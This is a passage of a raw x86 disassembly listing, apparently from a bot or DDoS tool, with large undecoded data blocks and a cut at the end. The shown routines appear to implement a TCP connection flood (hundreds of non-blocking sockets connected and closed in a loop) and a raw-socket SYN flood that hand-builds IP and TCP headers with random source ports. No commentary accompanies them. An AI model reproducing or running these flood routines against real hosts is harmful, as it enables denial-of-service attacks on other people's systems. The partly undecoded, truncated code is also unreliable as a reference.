push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+24h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_412B08 add esp, 20h test eax, eax jnz short loc_412E8E push 1 pop eax loc_412E8E: ; CODE XREF: ___:00412E89j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_412E9D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6721o dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h dd 0FF000001h, 4CAFF415h, 0FFF88300h, 75FC4589h, 815FF5Fh dd 50004CAFh, 0FC44858Dh, 1C68FFFFh, 5000435Ch, 8995E8h dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h dd 59FFFF84h, 0C9E85759h, 90022DD0h, 6AF44D8Dh, 0FF335104h dd 5057026Ah, 0FFF45D89h, 4CAF5415h db 0, 83h word_412F4E dw 0FFF8h ; DATA XREF: ___:off_43A184o dd 15FF5D75h, 4CAF08h, 44858D50h, 68FFFFFCh, 435BECh, 891CE850h dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h, 846CE8C8h dd 5959FFFFh, 51E89057h, 8D022DD0h, 0FFFE4885h, 15FF50FFh dd 4CAFB4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BCCh, 88B4E850h dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h dd 575959FFh, 0CFEAE890h, 106A022Dh, 57E4458Dh, 856EE850h dd 0C4830000h, 45C7660Ch, 570002E4h, 0AF7415FFh, 8966004Ch dd 858DE645h, 0FFFFFE48h, 0B415FF50h, 8B004CAFh, 4270A835h dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0DCE805C6h dd 0FF45004Ch, 4CAF7415h, 0D47D3900h, 0DCEAA366h, 8966004Ch dd 4CDCEC1Dh, 3D896600h, 4CDCEEh, 0DCF005C6h, 8880004Ch dd 4CDCF11Dh, 3D896600h, 4CDCF2h, 33E83074h, 8B000088h dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h dd 8E3C1D8h, 8815E8h, 6AD80300h, 0F41D8901h, 5B004CDCh dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFB415h dd 0DCF4A300h, 458B004Ch, 0DCF8A3E8h, 0E3E8004Ch, 99000087h dd 100B9h, 88F9F700h, 4CDCFC15h, 87D0E800h, 0B9990000h dd 100h, 1588F9F7h, 4CDCFDh, 87BDE8h, 0F0B99900h, 68000000h dd 400h, 8966F9F7h, 4CDCFE3Dh, 1D896600h, 4CDD02h, 15896642h dd 4CDD00h, 8795E8h, 0FFB99900h, 0F7000000h, 46852F9h dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h dd 68000004h, 4CDCE8h, 0FFFC75FFh, 4CAFD815h, 0FFF88300h dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0C15FFFCh, 0FF004CB0h dd 4CAF0815h, 858D5000h, 0FFFFFE48h, 500875FFh, 435B8468h dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h, 0FFFFFC44h dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 1E89057h dd 0FF022DCEh, 15FFFC75h, 4CB00Ch, 3308458Bh, 3CC06BD2h dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B3868h dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh dd 97E8C875h, 59FFFF81h, 0E8905759h, 22DCD7Ch dword_413284 dd 0B8EC8B55h, 10320h, 888FE8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+550Fo dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0FC15FF00h dd 89004CAEh, 858D0845h, 0FFFFFF40h, 0B415FF50h, 8B004CAFh dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0F815FF50h dd 3B004CAFh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh dd 0FCBC858Dh, 7468FFFFh, 5000435Ch, 8589E8h, 0CC48300h dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh dd 0CCBEE890h, 0C33B022Dh, 408B0C74h, 8B008B0Ch, 0FC458900h dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h dd 4CAE8Ch, 0C0753B46h, 75FFDA7Ch, 2C15FF08h, 8D004CB0h dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C4868h, 0BBE85000h dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h dd 59FFFF80h, 0E8905359h, 22DCBF0h dword_413410 dd 0B8EC8B55h, 10310h, 8703E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+575Bo dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0D925E800h dd 50900228h, 8493E8h, 116A5900h, 26A026Ah, 0AFF415FFh dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h, 0C4830000h dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFB4h dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CAFF815h dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 0C868FFFFh dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 2DCB13E8h, 408B9002h dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 0DBE81175h dd 99000083h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h dd 4CAF74h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 838DE8h dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh dd 0FEFCF085h, 0FF5350FFh, 4CAFD815h, 0D875FF00h, 0CFD3E890h dd 754E0227h, 0DC7D39CEh, 2FE8BC75h, 99000083h, 0FFDCB9h dd 42F9F700h, 7415FF52h, 66004CAFh, 0EBF24589h, 50858DA1h dd 50FFFFFFh, 0FCCC858Dh, 9C68FFFFh, 5000435Ch, 82A5E8h dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h dd 575959FFh, 0C9DAE890h db 2Dh, 2 word_413626 dw 8B55h ; DATA XREF: sub_401ACD+4DECo dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h dd 0FFFBEC85h, 5CF068FFh, 0E8500043h, 820Ah, 0C483F633h dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h, 5959FFFFh dd 3DE89056h, 5F022DC9h ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4136C5 proc near ; CODE XREF: ___:004137AEp var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CAF74 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_413783 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_413710: ; CODE XREF: sub_4136C5+B9j lea esi, [ebp+var_654] mov ebx, edi loc_413718: ; CODE XREF: sub_4136C5+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_41373B lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax nop call near ptr 71AB155Ah loc_41373B: ; CODE XREF: sub_4136C5+64j add esi, 4 dec ebx jnz short loc_413718 lea esi, [ebp+var_654] mov ebx, edi loc_413749: ; CODE XREF: sub_4136C5+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] nop call near ptr 71AB3E5Dh add esi, 4 dec ebx jnz short loc_413749 push 64h nop call near ptr 2690579h lea esi, [ebp+var_654] mov ebx, edi loc_41376D: ; CODE XREF: sub_4136C5+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_41376D dec [ebp+arg_4] jnz short loc_413710 pop edi pop esi pop ebx loc_413783: ; CODE XREF: sub_4136C5+3Ej xor eax, eax leave retn sub_4136C5 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov edi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov esi, eax push esi push ebx push edi call sub_4136C5 add esp, 18h test eax, eax jnz short loc_4137BD push 1 pop eax loc_4137BD: ; CODE XREF: ___:004137B8j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_4137CC dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: sub_401ACD+6449o dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D1Ch, 8064E850h dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh dd 0FFFF7BB2h, 90565959h, 2DC797E8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41386B proc near ; CODE XREF: ___:00413B59p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAEE4 test eax, eax jz short loc_4138AB xor eax, eax jmp loc_413B19 ; --------------------------------------------------------------------------- loc_4138AB: ; CODE XREF: sub_41386B+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB018 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_413B11 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CAF54 cmp eax, 0FFFFFFFFh jz loc_413B07 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CAF74 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CAF74 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CAF74 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CAF74 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 27A0000h lea eax, [ebp+var_8] push eax nop call near ptr 2790C12h push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41D280 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_413996: ; CODE XREF: sub_41386B+25Dj ; sub_41386B+26Bj mov [ebp+var_24], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAF74 mov [ebp+var_34], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAF74 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAF70 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAF74 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CAFD8 cmp eax, 0FFFFFFFFh jz short loc_413ADB add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call near ptr 2790C12h nop mov eax, [ebp+var_4] cmp eax, esi jg short loc_413B04 jl loc_413996 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_413B04 jmp loc_413996 ; --------------------------------------------------------------------------- loc_413ADB: ; CODE XREF: sub_41386B+247j call dword_4CAF08 push eax lea eax, [ebp+var_F4] push offset dword_435D44 push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_413B07 ; --------------------------------------------------------------------------- loc_413B04: ; CODE XREF: sub_41386B+25Bj ; sub_41386B+269j mov ebx, [ebp+arg_8] loc_413B07: ; CODE XREF: sub_41386B+78j ; sub_41386B+297j push [ebp+var_C] call dword_4CB00C pop esi loc_413B11: ; CODE XREF: sub_41386B+5Bj call dword_4CAECC mov eax, ebx loc_413B19: ; CODE XREF: sub_41386B+3Bj pop edi pop ebx leave retn sub_41386B endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_41386B add esp, 1Ch test eax, eax jnz short loc_413B68 push 1 pop eax loc_413B68: ; CODE XREF: ___:00413B63j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_413B77 db 55h ; DATA XREF: sub_401ACD+6E44o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 7BD1h, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh dd 5DE8h, 50595900h, 0FC6C858Dh, 6468FFFFh, 5000435Dh dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h dd 3E8F075h, 59FFFF78h, 0E8905659h, 22DC3E8h, 8B555E5Fh dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AF8815FFh, 75FF004Ch dd 0F815FFFCh, 8B004CAFh, 6A530C40h, 8B026A03h, 89008B00h dd 15FFF445h, 4CAFF4h, 56D84D8Dh, 6A026A51h, 45895000h dd 5415FFFCh, 0BE004CAFh, 200h, 77D3E856h, 3D8B0000h, 4270A8h dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AF7415FFh, 8966004Ch dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh, 0F9F7CB8Bh dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh dd 4DD45C6h, 0E8D45589h, 7B52h, 0E0458966h, 7B49E8h, 990A6A00h dd 66F9F759h, 0B095448Bh, 7415FF50h, 56004CAFh, 0E2458966h dd 0AF7415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h, 0E6A0000h dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0AFD815FFh dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h, 0FFFC75FFh dd 4CB00C15h, 58016A00h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- byte_413E35 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+53E8o dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270A8h dd 0E850D7FFh, 7A58h, 0FF6859h, 36A0000h, 15FF026Ah, 4CAFF4h dd 89FFF883h, 6675FC45h, 0AF0815FFh, 8D50004Ch, 0FFFBC085h dd 5E7C68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh, 858D14C4h dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h dd 535959FFh, 0C102E890h, 4D8D022Dh, 51046ACCh, 5053026Ah dd 0FFCC7589h, 4CAF5415h, 0FFF88300h, 15FF6675h, 4CAF08h dd 0C0858D50h, 68FFFFFBh, 435E44h, 7958E850h, 0C4830000h dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh dd 9FE8FFFFh, 59FFFF74h, 85E85359h, 90022DC0h, 0FDC4858Dh dd 0FF50FFFFh, 4CAFB415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h dd 435E2468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h dd 15E85359h, 90022DC0h, 458D106Ah, 0E85053BCh, 7598h dd 660CC483h, 2BC45C7h, 15FF5300h, 4CAF74h, 0BE458966h dd 0FDC4858Dh, 0FF50FFFFh, 4CAFB415h, 0C0458900h, 0FF085D89h dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AF7415FFh dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 73E82D74h, 8B000078h dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFB415FFh, 4589004Ch dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 7415FFFFh dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h dd 7415FF52h, 68004CAFh, 12345678h, 0E8458966h, 0AF7015FFh dd 4589004Ch, 44858DECh, 68FFFFFEh, 42AB7Ch, 77EEE850h dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch dd 68FFFFFEh, 42A9B8h, 77CEE850h, 85590000h, 97459C0h dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9B0h dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h, 1ADAF7F9h dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h dd 4CAF74h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 7415FF06h dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh dd 8147E8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h, 66FFFF6Ah dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh dd 0FFFC75FFh, 4CAFD815h, 0FFF88300h, 45FF0874h, 0FDBAE908h dd 75FFFFFFh, 0C15FFFCh, 0FF004CB0h, 4CAF0815h, 858D5000h dd 0FFFFFDC4h, 500875FFh, 435DD468h, 0C0858D00h, 68FFFFFBh dd 200h, 76E6E850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h dd 22DBD18h, 0FFFC75FFh, 4CB00C15h, 8458B00h, 0C06BD233h dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h dd 435D8468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h dd 90535959h, 2DBC87E8h db 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_4143A5 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414397: ; CODE XREF: ___:0041439Fj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414397 pop edi cmp eax, 1 loc_4143A5: ; CODE XREF: ___:0041438Bj jnz short loc_4143B2 mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_4143B2: ; CODE XREF: ___:loc_4143A5j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, 